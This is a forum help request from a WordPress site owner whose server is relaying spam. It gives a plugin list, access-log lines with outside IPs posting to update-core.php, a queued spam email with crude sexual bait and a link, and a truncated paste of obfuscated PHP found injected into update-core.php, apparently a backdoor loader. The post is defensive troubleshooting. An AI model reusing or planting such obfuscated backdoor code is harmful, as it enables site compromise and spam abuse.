WP site used to send spam, can't find source

Hi,
I have a weird problem. I have a site that is being used as a spam relay and sending spam. I have about 20 sites on one server but this one site appears to be the cause.

I have command line access and can see the logs. I have disabled postfix to stop the spam from being sent. The spam messages are queuing up in the system and can be seen with the 'mailq' command.

Here is the list of plugins installed.
All In One WP Security 4.0.3 http://www.tipsandtricks-hq.com/wordpress-security-and-firewall-plugin
BMI BMR calculator 1.3 http://wordpress.org/plugins/bmi-bmr-calculator/
Breadcrumb NavXT 5.3.1 http://mtekk.us/code/breadcrumb-navxt/
CloudFlare 1.3.19 http://www.cloudflare.com/wiki/CloudFlareWordPressPlugin
Admin Columns 2.4.8 http://www.admincolumns.com
Disable Comments 1.3.2 http://wordpress.org/extend/plugins/disable-comments/
Gravity Forms 1.8.19 http://www.gravityforms.com
Jetpack by WordPress.com 3.8.2 http://jetpack.me
WPBakery Visual Composer 4.5.2 http://vc.wpbakery.com
Simple Custom CSS 3.2 http://johnregan3.github.io/simple-custom-css
TemplatesNext ToolKit 1.1.4
UpdraftPlus - Backup/Restore 1.11.20 https://updraftplus.com
Yoast SEO 3.0.7 https://yoast.com/wordpress/plugins/seo/#utm_source=wpadmin&utm_medium=plugin&utm_campaign=wpseoplugin

Also here is a few lines of http-access that are not from my address.

198.71.230.7 - - [03/Jan/2016:22:21:54 +0000] "POST /wp-admin/update-core.php HTTP/1.1" 200 92
93.125.99.4 - - [03/Jan/2016:22:22:41 +0000] "POST /wp-admin/update-core.php HTTP/1.1" 200 92
50.62.208.100 - - [03/Jan/2016:22:24:46 +0000] "POST /wp-admin/update-core.php HTTP/1.1" 200 92

Here is one of the spam emails in the postfix queue:

rewrite_context=localF
ApacheS!wilma_fitzgerald@skinnyscript.comM
To: eostevens@aol.comN
Subject: 1 New InstaCheat AlertNRX-PHP-Originating-Script: 48:update-core.php(1) : eval()'d code(1) : eval()'d codeN$Date: Sun, 3 Jan 2016 22:33:06 +0000N:From: Wilma Fitzgerald <wilma_fitzgerald@skinnyscript.com>N?Message-ID: <10dd4c7c740c265c75725085ae91aa87@skinnyscript.com>N
X-Priority: 3NCX-Mailer: PHPMailer 5.2.9 (https://github.com/PHPMailer/PHPMailer/)N
MIME-Version: 1.0N$Content-Type: multipart/alternative;N/ boundary="b1_10dd4c7c740c265c75725085ae91aa87"N
Content-Transfer-Encoding: 8bitN
N%--b1_10dd4c7c740c265c75725085ae91aa87N*Content-Type: text/plain; charset=us-asciiN
NDI'm horny as f#ck and looking for something tonight! want to meetup?N
N0i'm not into commitment. i just want a hard f*ckNB[ http://moeller-it-service.de/dirs.php?a=40&3=81YhFdRxWsVt7cza ] N
my profile N
see u soonN
N%--b1_10dd4c7c740c265c75725085ae91aa87N)Content-Type: text/html; charset=us-asciiN
<html>N
<body>N
NDI'm horny as f#ck and looking for something tonight! want to meetup?N
N4i'm not into commitment. i just want a hard f*ckNHN
my profile N
N
N
see u soon N
N
</html>N
</body>N
N'--b1_10dd4c7c740c265c75725085ae91aa87--N
eostevens@aol.comE

UPDATE: I looked at the update-core.php file and it has a GLOBALS defined in it, whereas no other update-core.php file has it. Could this be the error? How did it get in here?

$GLOBALS['z4c0'];global$z4c0;$z4c0=$GLOBALS;$z4c0['u7a1']="\x2b\x38\x69\xa\x7e\x71\x39\x4d\x3e\x4e\x76\x31\x2a\x48\x47\x65\x26\x66\x68\x29\x54\x77\x4f\x20\x4c\x6b\x6a\x4b\x46\x56\x24\x45\x36\x2c\x32\x63\x44\x51\x50\x40\x5c\x72\x9\x2e\x3f\x6f\x5a\x42\x7a\x3a\x21\x6e\x5e\x59\x58\x55\x43\x6d\x4a\x5f\x70\x78\x23\x62\x53\x30\x60\x41\x49\x28\x61\x6c\x75\x74\x22\x34\x3c\x7d\x2d\x33\x79\x64\x52\x25\x3d\x35\x7c\x27\x5d\x57\xd\x2f\x73\x37\x67\x5b\x7b\x3b";$z4c0[$z4c0['u7a1'][57].$z4c0['u7a1'][81].$z4c0['u7a1'][75].$z4c0['u7a1'][15]]=$z4c0['u7a1'][35].$z4c0['u7a1'][18].$z4c0['u7a1'][41];$z4c0[$z4c0['u7a1'][15].$z4c0['u7a1'][32].$z4c0['u7a1'][1].$z4c0['u7a1'][70].$z4c0['u7a1'][93].$z4c0['u7a1'][34]]=$z4c0['u7a1'][45].$z4c0['u7a1'][41].$z4c0['u7a1'][81];$z4c0[$z4c0['u7a1'][92].$z4c0['u7a1'][11].$z4c0['u7a1'][93].$z4c0['u7a1'][35].$z4c0['u7a1'][79].$z4c0['u7a1'][6].$z4c0['u7a1'][81].$z4c0['u7a1'][35]]=$z4c0['u7a1'][92].$z4c0['u7a1'][73].$z4c0['u7a1'][41].$z4c0['u7a1'][71].$z4c0['u7a1'][15].$z4c0['u7a1'][51];$z4c0[$z4c0['u7a1'][26].$z4c0['u7a1'][17].$z4c0['u7a1'][11].$z4c0['u7a1'][79].$z4c0['u7a1'][35].$z4c0['u7a1'][63]]=$z4c0['u7a1'][2].$z4c0['u7a1'][51].$z4c0['u7a1'][2].$z4c0['u7a1'][59].$z4c0['u7a1'][92].$z4c0['u7a1'][15].$z4c0['u7a1'][73];$z4c0[$z4c0['u7a1'][51].$z4c0['u7a1'][65].$z4c0['u7a1'][63].$z4c0['u7a1'][15].$z4c0['u7a1'][70].$z4c0['u7a1'][6].$z4c0['u7a1'][85].$z4c0['u7a1'][65]]=$z4c0['u7a1'][92].$z4c0['u7a1'][15].$z4c0['u7a1'][41].$z4c0['u7a1'][2].$z4c0['u7a1'][70].$z4c0['u7a1'][71].$z4c0['u7a1'][2].$z4c0['u7a1'][48].$z4c0['u7a1'][15];$z4c0[$z4c0['u7a1'][61].$z4c0['u7a1'][85].$z4c0['u7a1'][63].$z4c0['u7a1'][79].$z4c0['u7a1'][15].$z4c0['u7a1'][15].$z4c0['u7a1'][11].$z4c0['u7a1'][35]]=$z4c0['u7a1'][60].$z4c0['u7a1'][18].$z4c0['u7a1'][60].$z4c0['u7a1'][10].$z4c0['u7a1'][15].$z4c0['u7a1'][41].$z4c0['u7a1'][92].$z4c0['u7a1'][2].$z4c0['u7a1'][45].$z4c0['u7a1'][51];$z4c0[$z4c0['u7a1'][92].$z4c0['u7a1'][17].$z4c0['u7a1'][35].$z4c0['u7a1'][17].$z4c0['u7a1'][79].$z4c0['u7a1'][75].$z4c0['u7a1'][34].$z4c0['u7a1'][79]]=$z4c0['u7a1'][72].$z4c0['u7a1'][51].$z4c0['u7a1'][92].$z4c0['u7a1'][15].$z4c0['u7a1'][41].$z4c0['u7a1'][2].$z4c0['u7a1'][70].$z4c0['u7a1'][71].$z4c0['u7a1'][2].$z4c0['u7a1'][48].$z4c0['u7a1'][15];$z4c0[$z4c0['u7a1'][63].$z4c0['u7a1'][32].$z4c0['u7a1'][65].$z4c0['u7a1'][1].$z4c0['u7a1'][79].$z4c0['u7a1'][85].$z4c0['u7a1'][35].$z4c0['u7a1'][17]]=$z4c0['u7a1'][63].$z4c0['u7a1'][70].$z4c0['u7a1'][92].$z4c0['u7a1'][15].$z4c0['u7a1'][32].$z4c0['u7a1'][75].$z4c0['u7a1'][59].$z4c0['u7a1'][81].$z4c0['u7a1'][15].$z4c0['u7a1'][35].$z4c0['u7a1'][45].$z4c0['u7a1'][81].$z4c0['u7a1'][15];$z4c0[$z4c0['u7a1'][57].$z4c0['u7a1'][65].$z4c0['u7a1'][35].$z4c0['u7a1'][75]]=$z4c0['u7a1'][92].$z4c0['u7a1'][15].$z4c0['u7a1'][73].$z4c0['u7a1'][59].$z4c0['u7a1'][73].$z4c0['u7a1'][2].$z4c0['u7a1'][57].$z4c0['u7a1'][15].$z4c0['u7a1'][59].$z4c0['u7a1'][71].$z4c0['u7a1'][2].$z4c0['u7a1'][57].$z4c0['u7a1'][2].$z4c0['u7a1'][73];$z4c0[$z4c0['u7a1'][21].$z4c0['u7a1'][79].$z4c0['u7a1'][85].$z4c0['u7a1'][65].$z4c0['u7a1'][79].$z4c0['u7a1'][34].$z4c0['u7a1'][34].$z4c0['u7a1'][15].$z4c0['u7a1'][32]]=$z4c0['u7a1'][15].$z4c0['u7a1'][75].$z4c0['u7a1'][34].$z4c0['u7a1'][1];$z4c0[$z4c0['u7a1'][35].$z4c0['u7a1'][93].$z4c0['u7a1'][32].$z4c0['u7a1'][6].$z4c0['u7a1'][85]]=$z4c0['u7a1'][72].$z4c0['u7a1'][81].$z4c0['u7a1'][79].$z4c0['u7a1'][63].$z4c0['u7a1'][81].$z4c0['u7a1'][15].$z4c0['u7a1'][93];$z4c0[$z4c0['u7a1'][48].$z4c0['u7a1'][79].$z4c0['u7a1'][32].$z4c0['u7a1'][75].$z4c0['u7a1'][65].$z4c0